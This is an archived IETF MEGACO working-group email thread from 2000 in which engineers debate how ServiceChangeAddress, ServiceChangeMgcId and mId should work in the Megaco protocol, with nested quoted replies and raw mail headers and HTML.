Reply-To: Kevin Boyle <kboyle@NORTELNETWORKS.COM>
Sender: "Media Gateway Control (megaco)"              <MEGACO@STANDARDS.NORTELNETWORKS.COM>
From: Kevin Boyle <kboyle@NORTELNETWORKS.COM>
Organization: Nortel Networks
Subject:      Re: Supplying only a port on a ServiceChangeAddress
X-To:         Flemming Andreasen <fandreas@CISCO.COM>
To: MEGACO@STANDARDS.NORTELNETWORKS.COM
Content-Transfer-Encoding: 7bit

<!doctype html public "-//w3c//dtd html 4.0 transitional//en">
<html>
<body text="#000000" bgcolor="#FFFFFF" link="#0000FF" vlink="#FF0000" alink="#000088">
Flemming Andreasen wrote:
<blockquote TYPE=CITE>&nbsp;
<p>"Rosen, Brian" wrote:
<blockquote TYPE=CITE>&nbsp;
<blockquote
style="BORDER-LEFT: #0000ff 2px solid; MARGIN-LEFT: 5px; MARGIN-RIGHT: 0px; PADDING-LEFT: 5px"><font size=-1>OK,
I'd say we have consensus on the following:</font>
<p><font size=-1>(1) As oft repeated, the mId designates a peer in a control
session.&nbsp; It does not change even if the addresses used in the session
change.&nbsp; Different port addresses could be used to designate different
virtual MGs, but this is a local implementation issue.</font><span class=730190518-06092000></span>
<p><span
  class=730190518-06092000><font face="Arial"><font color="#0000FF"><font size=-1>I'm
assuming here that you mean mId, the thing that goes in every message,
and that there is no arbitrary changing of it - changes get signalled in
ServiceChange.&nbsp; mId serves to identify which association this message
refers to.&nbsp; Given those caveats</span><span
  class=730190518-06092000>,
I agree.&nbsp;</font></font></font></span></blockquote>
</blockquote>

<p><br>I agree too (but with some assumptions as to when and how that address
can change)
<blockquote TYPE=CITE>
<blockquote
style="BORDER-LEFT: #0000ff 2px solid; MARGIN-LEFT: 5px; MARGIN-RIGHT: 0px; PADDING-LEFT: 5px">&nbsp;
<p><font size=-1>(2) ServiceChangeAddress can be used to change the address
to which the peer sends requests within the existing control session.&nbsp;
The ABNF syntax of ServiceChangeAddress is VALUE, which permits designation
of a port only within a quoted string.&nbsp; The difference between this
and the ASN.1 syntax is what started this whole thread, but is irrelevant
because the functionality is still available.&nbsp; There is the legitimate
question of whether the ServiceChangeAddress functionality is needed.&nbsp;
I'm not sure I have consensus to deprecate use of ServiceChangeAddress.</font><span class=730190518-06092000></span>
<p><span
  class=730190518-06092000><font face="Arial"><font color="#0000FF"><font size=-1>I'd
like to see if we could develop a consensus, but I can live with it.</font></font></font></span></blockquote>
</blockquote>
I say we dump it. If that's unacceptable, we restrict it to port numbers
only (for IP transport) - no IP addresses here please.
<blockquote TYPE=CITE>
<blockquote
style="BORDER-LEFT: #0000ff 2px solid; MARGIN-LEFT: 5px; MARGIN-RIGHT: 0px; PADDING-LEFT: 5px">&nbsp;
<p><span class=730190518-06092000><font face="Arial"><font color="#0000FF"><font size=-1>I'm
still concerned about the difficulty of changing address, or port, with
TCP transport.&nbsp; We need at least a note of caution in the Implementers
Guide.</font></font></font></span>
<p><font size=-1>(3) ServiceChangeMGgcId is used to redirect the control
session.&nbsp; The ABNF type of ServiceChangeMgcId is MId, which presumably
is why MId is so carefully developed as an address.</font><span class=730190518-06092000></span>
<p><span
  class=730190518-06092000><font face="Arial"><font color="#0000FF"><font size=-1>Yes!&nbsp;</font></font></font></span></blockquote>
</blockquote>
Agree
<blockquote TYPE=CITE>
<blockquote
style="BORDER-LEFT: #0000ff 2px solid; MARGIN-LEFT: 5px; MARGIN-RIGHT: 0px; PADDING-LEFT: 5px">&nbsp;
<p><font size=-1>There is an open issue regarding TCP.&nbsp; That is, is
everyone prepared to accept the restriction Bharat wants to place on TCP,
to the effect that the MG is never a listener?</font><span class=730190518-06092000></span>
<p><span
  class=730190518-06092000><font face="Arial"><font color="#0000FF"><font size=-1>Yes!</font></font></font></span></blockquote>
</blockquote>

<p><br>Given the current protocol specification/operation that seems reasonable.
If we were to accept ServiceChange initiated from the MGC, it would obviously
change.
<br>&nbsp;</blockquote>
ServiceChange *can* be initiated by the MGC.&nbsp; Section 11.5 talks about
exactly this scenario in the "Handoff" case.
<p>- Kevin
<blockquote TYPE=CITE>&nbsp;
<br>-- Flemming
<br>&nbsp;
<blockquote TYPE=CITE>
<blockquote
style="BORDER-LEFT: #0000ff 2px solid; MARGIN-LEFT: 5px; MARGIN-RIGHT: 0px; PADDING-LEFT: 5px">&nbsp;
<p><span
  class=730190518-06092000><font face="Arial"><font color="#0000FF"><font size=-1>Brian&nbsp;</font></font></font></span>
<p><font size=-1>> -----Original Message-----</font>
<br><font size=-1>> From: Flemming Andreasen [<a href="mailto:fandreas@cisco.com">mailto:fandreas@cisco.com</a>]</font>
<br><font size=-1>> Sent: Wednesday, September 06, 2000 10:39 AM</font>
<br><font size=-1>> To: Rosen, Brian; Taylor, Tom-PT [NORSE:B901:EXCH];
Bharat Kaul</font>
<br><font size=-1>> Cc: MEGACO@STANDARDS.NORTELNETWORKS.COM</font>
<br><font size=-1>> Subject: Re: Supplying only a port on a ServiceChangeAddress</font>
<br><font size=-1>></font>
<br><font size=-1>></font>
<br><font size=-1>> So do we have any consensus resolution on this issue
?</font>
<br><font size=-1>></font>
<br><font size=-1>> -- Flemming</font>
<br><font size=-1>></font></blockquote>
</blockquote>
</blockquote>

<p><br>[ major clippage! ]
<blockquote TYPE=CITE>
<blockquote TYPE=CITE>
<blockquote
style="BORDER-LEFT: #0000ff 2px solid; MARGIN-LEFT: 5px; MARGIN-RIGHT: 0px; PADDING-LEFT: 5px"><font size=-1></font>&nbsp;</blockquote>
</blockquote>
--
<br>Flemming Andreasen
<br>Cisco Systems
<br>&nbsp;</blockquote>

</body>
</html>


From owner-megaco@STANDARDS.NORTELNETWORKS.COM  Wed Sep  6 18:44:05 2000
Received: from standards.nortelnetworks.com (h16s32a234n47.user.nortelnetworks.com [47.234.32.16])
	by ietf.org (8.9.1a/8.9.1a) with ESMTP id SAA24369
	for <megaco-archive@LISTS.IETF.ORG>; Wed, 6 Sep 2000 18:44:03 -0400 (EDT)
Received: from standards (47.234.32.16:3450) by standards.nortelnetworks.com (LSMTP for Windows NT v1.1b) with SMTP id <0.FFB90ED3@standards.nortelnetworks.com>; Wed, 6 Sep 2000 18:28:51 -0400
Received: from STANDARDS.NORTELNETWORKS.COM by STANDARDS.NORTELNETWORKS.COM
          (LISTSERV-TCP/IP release 1.8d) with spool id 21231 for
          MEGACO@STANDARDS.NORTELNETWORKS.COM; Wed, 6 Sep 2000 18:28:51 -0400
Received: from turin.trillium.com by standards.nortelnetworks.com (LSMTP for
          Windows NT v1.1b) with SMTP id
          <0.FFB90ED2@standards.nortelnetworks.com>; Wed, 6 Sep 2000 18:28:50
          -0400
Received: from aiglos.trillium.com (smtp.trillium.com [192.168.3.20]) by
          turin.trillium.com (8.11.0/8.11.0) with ESMTP id e86MkFH08675; Wed, 6
          Sep 2000 15:46:15 -0700 (PDT)
Received: from aega.trillium.com (aega.trillium.com [192.168.1.19]) by
          aiglos.trillium.com (8.9.3/8.9.3) with ESMTP id PAA22590; Wed, 6 Sep
          2000 15:41:39 -0700 (PDT)
Received: by aega.trillium.com with Internet Mail Service (5.5.2650.21) id
          <RT9L6V6Q>; Wed, 6 Sep 2000 15:33:51 -0700
MIME-Version: 1.0
X-Mailer: Internet Mail Service (5.5.2650.21)
Content-Type: multipart/alternative;
              boundary="----_=_NextPart_001_01C01852.876AE18C"
Message-ID:  <8BBD33A986C5D311804000902719FF5D9FB436@aega.trillium.com>
Date:         Wed, 6 Sep 2000 15:33:50 -0700
Reply-To: Bharat Kaul <bharat@TRILLIUM.COM>
Sender: "Media Gateway Control (megaco)"              <MEGACO@STANDARDS.NORTELNETWORKS.COM>
From: Bharat Kaul <bharat@TRILLIUM.COM>
Subject:      Re: Supplying only a port on a ServiceChangeAddress
X-To:         "Rosen, Brian" <Brian.Rosen@marconi.com>,
              Tom-PT Taylor <taylor@nortelnetworks.com>,
              Flemming Andreasen <fandreas@cisco.com>
To: MEGACO@STANDARDS.NORTELNETWORKS.COM

This message is in MIME format. Since your mail reader does not understand
this format, some or all of this message may not be legible.

------_=_NextPart_001_01C01852.876AE18C
Content-Type: text/plain;
        charset="iso-8859-1"

I also agree with what seems to be the evolving consensus.

However, we might to have evaluate the choice of IP Address being present as
part of ServiceChangeAddress more carefully before disallowing it.

The case in point being an entity wanting to redirect the conversation on a
particular interface and a port or current interface and a particular port.
For first case, we need to allow presence of IP Address. For second case, we
are fine with port. So effectively, it boils down to using
ServiceChangeMgcId.
It might be  a requirement that MG  receiving the parameter  knows exactly
that it has been asked to communicate on other interface with the same MGC
and hasn't been redirected to a altogether new MGC otherwise the MG might
interpret them as two separate entities which is not a correct picture.

Any comments on  this ?

- Bharat


-----Original Message-----
From: Rosen, Brian [mailto:Brian.Rosen@marconi.com]
Sent: Wednesday, September 06, 2000 11:12 AM
To: 'Tom-PT Taylor'; 'Flemming Andreasen'; Bharat Kaul
Cc: megaco@standards.nortelnetworks.com
Subject: RE: Supplying only a port on a ServiceChangeAddress





OK, I'd say we have consensus on the following:

(1) As oft repeated, the mId designates a peer in a control session.  It
does not change even if the addresses used in the session change.  Different
port addresses could be used to designate different virtual MGs, but this is
a local implementation issue.

I'm assuming here that you mean mId, the thing that goes in every message,
and that there is no arbitrary changing of it - changes get signalled in
ServiceChange.  mId serves to identify which association this message refers
to.  Given those caveats, I agree.

(2) ServiceChangeAddress can be used to change the address to which the peer
sends requests within the existing control session.  The ABNF syntax of
ServiceChangeAddress is VALUE, which permits designation of a port only
within a quoted string.  The difference between this and the ASN.1 syntax is
what started this whole thread, but is irrelevant because the functionality
is still available.  There is the legitimate question of whether the
ServiceChangeAddress functionality is needed.  I'm not sure I have consensus
to deprecate use of ServiceChangeAddress.

I'd like to see if we could develop a consensus, but I can live with it.

I'm still concerned about the difficulty of changing address, or port, with
TCP transport.  We need at least a note of caution in the Implementers
Guide.

(3) ServiceChangeMGgcId is used to redirect the control session.  The ABNF
type of ServiceChangeMgcId is MId, which presumably is why MId is so
carefully developed as an address.

Yes!

There is an open issue regarding TCP.  That is, is everyone prepared to
accept the restriction Bharat wants to place on TCP, to the effect that the
MG is never a listener?

Yes!

Brian

> -----Original Message-----
> From: Flemming Andreasen [ mailto:fandreas@cisco.com
<mailto:fandreas@cisco.com> ]
> Sent: Wednesday, September 06, 2000 10:39 AM
> To: Rosen, Brian; Taylor, Tom-PT [NORSE:B901:EXCH]; Bharat Kaul
> Cc: MEGACO@STANDARDS.NORTELNETWORKS.COM
> Subject: Re: Supplying only a port on a ServiceChangeAddress
>
>
> So do we have any consensus resolution on this issue ?
>
> -- Flemming
>
> "Rosen, Brian" wrote:
>
> > Yeah, the mId started life as the thing in the header that let an
> > MGC know which entity it was talking to.  It's always been an
> > address though - desirable as an FQDN and acceptable to be a hard
> > address.
> >
> > The intention of ServiceChangeMid was to be the referral
> address for an
> > association that was not acceptable to the MGC.
> ServiceChangeAddress used
> > to be port, and it was just for changing port numbers, not
> addresses.  We
> > went downhill (IMO) from there.
> >
> > I'm with Flemming, one thing is all we need, but we are
> stuck with 2 for
> > now.
> >
> > Brian
> >
> > > -----Original Message-----
> > > From: Tom-PT Taylor [ mailto:taylor@NORTELNETWORKS.COM
<mailto:taylor@NORTELNETWORKS.COM> ]
> > > Sent: Tuesday, September 05, 2000 3:16 PM
> > > To: MEGACO@STANDARDS.NORTELNETWORKS.COM
> > > Subject: Re: Supplying only a port on a ServiceChangeAddress
> > >
> > >
> > > I think we agree that MId is just an identifier of a peer
> in a control
> > > session.  I still ask myself why we defined it to be an
> > > address rather than
> > > an arbitrary string.  I suspect we changed intentions since
> > > it first showed
> > > up.
> > >
> > > > -----Original Message-----
> > > > From: Flemming Andreasen [ mailto:fandreas@CISCO.COM
<mailto:fandreas@CISCO.COM> ]
> > > > Sent: Tuesday, September 05, 2000 3:12 PM
> > > > To: MEGACO@STANDARDS.NORTELNETWORKS.COM
> > > > Subject: Re: Supplying only a port on a ServiceChangeAddress
> > > >
> > > >
> > > > Bharat Kaul wrote:
> > > >
> > > > > Hi Flemming, Brian and List,
> > > > >
> > > > >   ServiceChangeMGCId should be kept for contacting a new
> > > > MGC or rather
> > > > > establishing new control Session.
> > > > >
> > > > > ServiceChangeAddress is for redirection within a MGC e.g.
> > > > MG contacts MGC at
> > > > > a default port and based on some policy MGC wants to assign
> > > > MG to a specific
> > > > > port, it should send ServiceChangeAddress specifying the
> > > > port.These two
> > > > > semantics seem clear and fair enough.
> > > >
> > > > I quite frankly don't understand the need for having port as
> > > > an identifier and
> > > > then being able to specify another port to override it, while
> > > > keeping the
> > > > identifier port the same.
> > > >
> > > >
> > > > >
> > > > >
> > > > > Port in MID should be just a tool to identify an entity
> > > > uniquely, with one
> > > > > requirement that MID for a control session is consistent
> > > between two
> > > > > entities.
> > > >
> > > > In that case it should be called something different than a
> > > > port, or at least be
> > > > treated as something different.
> > > >
> > > > -- Flemming
> > > >
> > > >
> > > > >
> > > > >
> > > > > - Bharat
> > > > >
> > > > > -----Original Message-----
> > > > > From: Flemming Andreasen [ mailto:fandreas@CISCO.COM
<mailto:fandreas@CISCO.COM> ]
> > > > > Sent: Tuesday, September 05, 2000 8:29 AM
> > > > > To: MEGACO@STANDARDS.NORTELNETWORKS.COM
> > > > > Subject: Re: Supplying only a port on a ServiceChangeAddress
> > > > >
> > > > > Let's take a step back here and ask ourselves what we are
> > > > trying to achieve:
> > > > >
> > > > > 1. We have a need to identify the entity we wish to
> > > communicate with
> > > > > 2. We have a need to communicate with that entity.
> > > > >
> > > > > This is a classical naming issue that doesn't need to
> > > become overly
> > > > > complicated. In order to get from the name in 1 to the
> > > > address (or route) in
> > > > > 2, you need to perform name resolution in the cases where
> > > > the name itself is
> > > > > not an address. For domain names, this name resolution is
> > > > achieved by DNS,
> > > > > for IP-addresses, it should normally be a NOP. By having both
> > > > > ServiceChangeMGGId and ServiceChangeAddress, you are
> > > > effectively providing
> > > > > an alternate name resolution mechanism which overrides DNS
> > > > and allows one
> > > > > IP-address to map to another. We should not be doing that,
> > > > and I also note
> > > > > that this was probably not the authors' intent, since
> > > > ServiceChangeAddress
> > > > > and ServiceChangeMGCId are not both allowed in a
> single command.
> > > > >
> > > > > That still leaves open the question of exactly what
> > > > ServiceChangeAddress
> > > > > then is, and I believe Brian answered that earlier with his
> > > > two proposals.
> > > > > In a perfect world, I would prefer getting rid of
> > > > ServiceChangeAddress, but
> > > > > we may be beyond that. Does it make sense to allow just a
> > > > port number then ?
> > > > > Considering that we already allow for port in mId, port is
> > > > part of the name
> > > > > and for the same reasons as we shouldn't map one IP-address
> > > > to another, we
> > > > > shouldn't map one port to another either IMO. If the MGC
> > > > (or MG) wants the
> > > > > other party to talk to it on another port, it simply sends
> > > > back another
> > > > > ServiceChangeMGCId with that port number in it.
> > > > >
> > > > > -- Flemming
> > > > >
> > > > > "Rosen, Brian" wrote:
> > > > >
> > > > > > It depends on what you want to have happen.
> > > > > >
> > > > > > If you want the MG, on receipt of a reply with a
> > > > ServiceChangeAddress,
> > > > > > to tear down it's current transport connection, create
> > > a new one,
> > > > > > and stand by for messages from the MGC, then I suppose
> > > > you would be
> > > > > > correct.
> > > > > >
> > > > > > If it was TCP (and I guess SCTP), this is pretty weird,
> > > > because the
> > > > > > MG established a full duplex connection, but the
> next message is
> > > > > > almost certainly from the MGC.  The MGC is going to have
> > > > to watch for
> > > > > > this carefully, and not send messages until the new
> > > channel is up.
> > > > > >
> > > > > > Or, the MGC can just use ServiceChangeMid.  The MG will
> > > respond by
> > > > > > tearing down the transport, establishing a new one,
> and sending
> > > > > > a new ServiceChange.  The MGC "fires and forgets" -- the new
> > > > > > ServiceChange, at the "new" address, looks like a
> > > > complete new start.
> > > > > >
> > > > > > Brian
> > > > > >
> > > > > > -----Original Message-----
> > > > > > From: Christian Groves
> > > > > > To: MEGACO@STANDARDS.NORTELNETWORKS.COM
> > > > > > Sent: 9/3/00 7:38 PM
> > > > > > Subject: Re: Supplying only a port on a ServiceChangeAddress
> > > > > >
> > > > > > G'Day Brian and Flemming,
> > > > > >
> > > > > > I saw that the difference between when you use
> > > > ServiceChangeAddress and
> > > > > > ServiceChangeMid was that the ServiceChangeAddress was
> > > > used when talking
> > > > > > to an already contacted physical MGC. The
> > > > ServiceChangeMid was used to
> > > > > > contact a physically seperate MGC. So I don't see
> the need of
> > > > > > disallowing anything but the port in IP as the MGC may
> > > > have a range of
> > > > > > addresses.
> > > > > >
> > > > > > Cheers, Christian
> > > > > >
> > > > > > "Rosen, Brian" wrote:
> > > > > > >
> > > > > > > I thought you might say that, I've been thinking about it
> > > > > > > since I sent the message.
> > > > > > >
> > > > > > > Posing the question slightly differently, if the
> > > > ServiceChangeAddress
> > > > > > > can do what ServiceChangeMid can do, so why have two
> > > mechanisms?
> > > > > > > The only difference would be the MGs actions.  If you used
> > > > > > > ServiceChangeAddress,
> > > > > > > the MG would not send a new ServiceChange command to
> > > > the new address.
> > > > > > > If you used ServiceChangeMid, it would.  The end result
> > > > would be the
> > > > > > same.
> > > > > > >
> > > > > > > We can:
> > > > > > >         Explicitly disallow ServiceChangeAddress from
> > > > being used to
> > > > > > >                 change anything but IP Port when
> used with IP
> > > > > > >         Get rid of one of the two of them
> > > > > > >
> > > > > > > I favor the former, as that is easiest, is most
> > > consistent with
> > > > > > > history, and makes the most sense to me.  I'll
> note that what
> > > > > > > we call ServiceChangeAddress used to be "port".  It got
> > > > > > > changed when we realized "port" wouldn't make
> sense if it was
> > > > > > > not an IP transport.
> > > > > > >
> > > > > > > Brian
> > > > > > >
> > > > > > > > -----Original Message-----
> > > > > > > > From: Flemming Andreasen [ mailto:fandreas@cisco.com
<mailto:fandreas@cisco.com> ]
> > > > > > > > Sent: Tuesday, August 29, 2000 7:37 PM
> > > > > > > > To: Rosen, Brian
> > > > > > > > Cc: MEGACO@STANDARDS.NORTELNETWORKS.COM
> > > > > > > > Subject: Re: Supplying only a port on a
> ServiceChangeAddress
> > > > > > > >
> > > > > > > >
> > > > > > > >
> > > > > > > >
> > > > > > > > "Rosen, Brian" wrote:
> > > > > > > >
> > > > > > > > > I think the issue is that you can have the same MGC
> > > > have multiple
> > > > > > > > > IP addresses.  You accept the association, but
> > > > change the address.
> > > > > > > > > Say, a pool of servers appearing to be one MGC.
> > > > > > > >
> > > > > > > > I'm not sure I fully understand what an
> association is then.
> > > > > > > > What's the
> > > > > > > > difference/relationship between the association
> > > > address and the
> > > > > > > > ServiceChangeMgcId (which may itself contain an
> address or
> > > > > > indirectly
> > > > > > > > refer to a number of addresses through DNS) ?
> > > > > > > >
> > > > > > > > -- Flemming
> > > > > > > >
> > > > > > > >
> > > > > > > > >
> > > > > > > > >
> > > > > > > > > Brian
> > > > > > > > >
> > > > > > > > > > -----Original Message-----
> > > > > > > > > > From: Flemming Andreasen [ mailto:fandreas@cisco.com
<mailto:fandreas@cisco.com> ]
> > > > > > > > > > Sent: Tuesday, August 29, 2000 6:38 PM
> > > > > > > > > > To: Rosen, Brian
> > > > > > > > > > Cc: MEGACO@STANDARDS.NORTELNETWORKS.COM
> > > > > > > > > > Subject: Re: Supplying only a port on a
> > > > ServiceChangeAddress
> > > > > > > > > >
> > > > > > > > > >
> > > > > > > > > >
> > > > > > > > > >
> > > > > > > > > > "Rosen, Brian" wrote:
> > > > > > > > > >
> > > > > > > > > > > Suppose all you want to specify in a
> > > > ServiceChangeAddress
> > > > > > > > > > is a port number
> > > > > > > > > > > that is, the IP address doesn't change, but the
> > > > port does.
> > > > > > > > > > >
> > > > > > > > > > > The ABNF sez:
> > > > > > > > > > > serviceChangeAddress =
> > > > ServiceChangeAddressToken EQUAL VALUE
> > > > > > > > > > >
> > > > > > > > > > > This is because it could be IP, ATM, FR, MPLS....
> > > > > > > > > > >
> > > > > > > > > > > The example shows just a port number.
> > > > > > > > > >
> > > > > > > > > > Actually, I thought that's all that would be
> > > > allowed in the
> > > > > > > > > > case of IP. If
> > > > > > > > > > not, how can it be within the "context of the
> > > association
> > > > > > > > > > currently being
> > > > > > > > > > negotiated", and how would it then relate to
> > > > ServiceChangeMgcId
> > > > > > ?
> > > > > > > > > >
> > > > > > > > > > -- Flemming
> > > > > > > > > >
> > > > > > > > > > >
> > > > > > > > > > >
> > > > > > > > > > > Should that be legal?  Should you have to
> > > specify the IP
> > > > > > address
> > > > > > > > > > > as x.x.x.x:p?
> > > > > > > > > > >
> > > > > > > > > > > Brian
> > > > > > > > > >
> > > > > > > > > > --
> > > > > > > > > > Flemming Andreasen
> > > > > > > > > > Cisco Systems
> > > > > > > > > >
> > > > > > > > > >
> > > > > > > >
> > > > > > > > --
> > > > > > > > Flemming Andreasen
> > > > > > > > Cisco Systems
> > > > > > > >
> > > > > > > >
> > > > >
> > > > > --
> > > > > Flemming Andreasen
> > > > > Cisco Systems
> > > >
> > > > --
> > > > Flemming Andreasen
> > > > Cisco Systems
> > > >
> > >
>
> --
> Flemming Andreasen
> Cisco Systems
>
>
>


------_=_NextPart_001_01C01852.876AE18C
Content-Type: text/html;
        charset="iso-8859-1"

<!DOCTYPE HTML PUBLIC "-//W3C//DTD HTML 4.0 Transitional//EN">
<HTML><HEAD>
<META HTTP-EQUIV="Content-Type" CONTENT="text/html; charset=iso-8859-1">
<TITLE>RE: Supplying only a port on a ServiceChangeAddress</TITLE>

<META content="MSHTML 5.00.2314.1000" name=GENERATOR></HEAD>
<BODY>
<DIV><FONT color=#ff0000 face=Arial size=2><SPAN class=166452822-06092000>I also
agree with what seems to be the evolving
consensus.&nbsp;&nbsp;</SPAN></FONT></DIV>
<DIV><FONT color=#ff0000 face=Arial size=2><SPAN
class=166452822-06092000></SPAN></FONT>&nbsp;</DIV>
<DIV><FONT color=#ff0000 face=Arial size=2><SPAN
class=166452822-06092000>However, we might to have evaluate the choice of IP
Address being present as part of ServiceChangeAddress more carefully before
disallowing it. </SPAN></FONT></DIV>
<DIV><FONT color=#ff0000 face=Arial size=2><SPAN
class=166452822-06092000></SPAN></FONT>&nbsp;</DIV>
<DIV><FONT color=#ff0000 face=Arial size=2><SPAN class=166452822-06092000>The
case in point being an entity wanting to redirect the conversation on a
particular interface and a port or current interface and a particular port. For
first case, we need to allow presence of IP Address. For second case, we are
fine with port. So effectively, it boils down to using
ServiceChangeMgcId.</SPAN></FONT></DIV>
<DIV><FONT color=#ff0000 face=Arial size=2><SPAN class=166452822-06092000>It
might be&nbsp; a requirement that&nbsp;MG&nbsp; receiving&nbsp;the
parameter&nbsp; knows exactly that it has been asked to communicate on other
interface with the same&nbsp;MGC and hasn't been redirected to a altogether new
MGC otherwise the MG might interpret them as two separate entities which is not
a correct picture.</SPAN></FONT></DIV>
<DIV><FONT color=#ff0000 face=Arial size=2><SPAN
class=166452822-06092000></SPAN></FONT>&nbsp;</DIV>
<DIV><FONT color=#ff0000 face=Arial size=2><SPAN class=166452822-06092000>Any
comments on&nbsp; this ?</SPAN></FONT></DIV>
<DIV><FONT color=#ff0000 face=Arial size=2><SPAN
class=166452822-06092000></SPAN></FONT>&nbsp;</DIV>
<DIV><FONT color=#ff0000 face=Arial size=2><SPAN class=166452822-06092000>-
Bharat</SPAN></FONT></DIV>
<DIV><FONT color=#ff0000 face=Arial size=2><SPAN
class=166452822-06092000></SPAN></FONT>&nbsp;</DIV>
<BLOCKQUOTE style="MARGIN-RIGHT: 0px">
  <DIV align=left class=OutlookMessageHeader dir=ltr><FONT face=Tahoma
  size=2>-----Original Message-----<BR><B>From:</B> Rosen, Brian
  [mailto:Brian.Rosen@marconi.com]<BR><B>Sent:</B> Wednesday, September 06, 2000
  11:12 AM<BR><B>To:</B> 'Tom-PT Taylor'; 'Flemming Andreasen'; Bharat
  Kaul<BR><B>Cc:</B> megaco@standards.nortelnetworks.com<BR><B>Subject:</B> RE:
  Supplying only a port on a ServiceChangeAddress<BR><BR></DIV></FONT>
  <BLOCKQUOTE
  style="BORDER-LEFT: #0000ff 2px solid; MARGIN-LEFT: 5px; MARGIN-RIGHT: 0px; PADDING-LEFT: 5px">
    <DIV align=left class=OutlookMessageHeader dir=ltr><FONT face=Tahoma
    size=2></DIV></FONT>
    <P><FONT size=2>OK, I'd say we have consensus on the following:</FONT> </P>
    <P><FONT size=2>(1) As oft repeated, the mId designates a peer in a control
    session.&nbsp; It does not change even if the addresses used in the session
    change.&nbsp; Different port addresses could be used to designate different
    virtual MGs, but this is a local implementation issue.<FONT color=#0000ff
    face=Arial><SPAN class=730190518-06092000>&nbsp;</SPAN></FONT></FONT></P>
    <P><FONT size=2><FONT color=#0000ff face=Arial><SPAN
    class=730190518-06092000>I'm assuming here&nbsp;that you mean mId, the thing
    that goes in every message, and that&nbsp;there is no arbitrary changing of
    it - changes get signalled in ServiceChange.&nbsp;&nbsp;mId serves to
    identify which association this message refers to.&nbsp; Given those
    caveats</SPAN></FONT></FONT><FONT size=2><FONT color=#0000ff
    face=Arial><SPAN class=730190518-06092000>, I
    agree.&nbsp;</SPAN></FONT></FONT></P>
    <P><FONT size=2>(2) ServiceChangeAddress can be used to change the address
    to which the peer sends requests within the existing control session.&nbsp;
    The ABNF syntax of ServiceChangeAddress is VALUE, which permits designation
    of a port only within a quoted string.&nbsp; The difference between this and
    the ASN.1 syntax is what started this whole thread, but is irrelevant
    because the functionality is still available.&nbsp; There is the legitimate
    question of whether the ServiceChangeAddress functionality is needed.&nbsp;
    I'm not sure I have consensus to deprecate use of ServiceChangeAddress.<FONT
    color=#0000ff face=Arial><SPAN
    class=730190518-06092000>&nbsp;</SPAN></FONT></FONT></P>
    <P><FONT size=2><FONT color=#0000ff face=Arial><SPAN
    class=730190518-06092000>I'd like to see if we could develop a consensus,
    but I can live with it.</SPAN></FONT></FONT></P>
    <P><FONT color=#0000ff face=Arial size=2><SPAN class=730190518-06092000>I'm
    still concerned about the difficulty of changing address, or port, with TCP
    transport.&nbsp; We need at least a note of caution in the Implementers
    Guide.</SPAN></FONT></P>
    <P><FONT size=2>(3) ServiceChangeMGgcId is used to redirect the control
    session.&nbsp; The ABNF type of ServiceChangeMgcId is MId, which presumably
    is why MId is so carefully developed as an address.<FONT color=#0000ff
    face=Arial><SPAN class=730190518-06092000>&nbsp;</SPAN></FONT></FONT></P>
    <P><FONT size=2><FONT color=#0000ff face=Arial><SPAN
    class=730190518-06092000>Yes!&nbsp;</SPAN></FONT></FONT></P>
    <P><FONT size=2>There is an open issue regarding TCP.&nbsp; That is, is
    everyone prepared to accept the restriction Bharat wants to place on TCP, to
    the effect that the MG is never a listener?<FONT color=#0000ff
    face=Arial><SPAN class=730190518-06092000>&nbsp;</SPAN></FONT></FONT></P>
    <P><FONT size=2><FONT color=#0000ff face=Arial><SPAN
    class=730190518-06092000>Yes!</SPAN></FONT></FONT></P>
    <P><FONT size=2><FONT color=#0000ff face=Arial><SPAN
    class=730190518-06092000>Brian&nbsp;</SPAN></FONT></FONT></P>
    <P><FONT size=2>&gt; -----Original Message-----</FONT> <BR><FONT size=2>&gt;
    From: Flemming Andreasen [<A
    href="mailto:fandreas@cisco.com">mailto:fandreas@cisco.com</A>]</FONT>
    <BR><FONT size=2>&gt; Sent: Wednesday, September 06, 2000 10:39 AM</FONT>
    <BR><FONT size=2>&gt; To: Rosen, Brian; Taylor, Tom-PT [NORSE:B901:EXCH];
    Bharat Kaul</FONT> <BR><FONT size=2>&gt; Cc:
    MEGACO@STANDARDS.NORTELNETWORKS.COM</FONT> <BR><FONT size=2>&gt; Subject:
    Re: Supplying only a port on a ServiceChangeAddress</FONT> <BR><FONT
    size=2>&gt; </FONT><BR><FONT size=2>&gt; </FONT><BR><FONT size=2>&gt; So do
    we have any consensus resolution on this issue ?</FONT> <BR><FONT
    size=2>&gt; </FONT><BR><FONT size=2>&gt; -- Flemming</FONT> <BR><FONT
    size=2>&gt; </FONT><BR><FONT size=2>&gt; "Rosen, Brian" wrote:</FONT>
    <BR><FONT size=2>&gt; </FONT><BR><FONT size=2>&gt; &gt; Yeah, the mId
    started life as the thing in the header that let an</FONT> <BR><FONT
    size=2>&gt; &gt; MGC know which entity it was talking to.&nbsp; It's always
    been an</FONT> <BR><FONT size=2>&gt; &gt; address though - desirable as an
    FQDN and acceptable to be a hard</FONT> <BR><FONT size=2>&gt; &gt;
    address.</FONT> <BR><FONT size=2>&gt; &gt;</FONT> <BR><FONT size=2>&gt; &gt;
    The intention of ServiceChangeMid was to be the referral </FONT><BR><FONT
    size=2>&gt; address for an</FONT> <BR><FONT size=2>&gt; &gt; association
    that was not acceptable to the MGC.&nbsp; </FONT><BR><FONT size=2>&gt;
    ServiceChangeAddress used</FONT> <BR><FONT size=2>&gt; &gt; to be port, and
    it was just for changing port numbers, not </FONT><BR><FONT size=2>&gt;
    addresses.&nbsp; We</FONT> <BR><FONT size=2>&gt; &gt; went downhill (IMO)
    from there.</FONT> <BR><FONT size=2>&gt; &gt;</FONT> <BR><FONT size=2>&gt;
    &gt; I'm with Flemming, one thing is all we need, but we are
    </FONT><BR><FONT size=2>&gt; stuck with 2 for</FONT> <BR><FONT size=2>&gt;
    &gt; now.</FONT> <BR><FONT size=2>&gt; &gt;</FONT> <BR><FONT size=2>&gt;
    &gt; Brian</FONT> <BR><FONT size=2>&gt; &gt;</FONT> <BR><FONT size=2>&gt;
    &gt; &gt; -----Original Message-----</FONT> <BR><FONT size=2>&gt; &gt; &gt;
    From: Tom-PT Taylor [<A
    href="mailto:taylor@NORTELNETWORKS.COM">mailto:taylor@NORTELNETWORKS.COM</A>]</FONT>
    <BR><FONT size=2>&gt; &gt; &gt; Sent: Tuesday, September 05, 2000 3:16
    PM</FONT> <BR><FONT size=2>&gt; &gt; &gt; To:
    MEGACO@STANDARDS.NORTELNETWORKS.COM</FONT> <BR><FONT size=2>&gt; &gt; &gt;
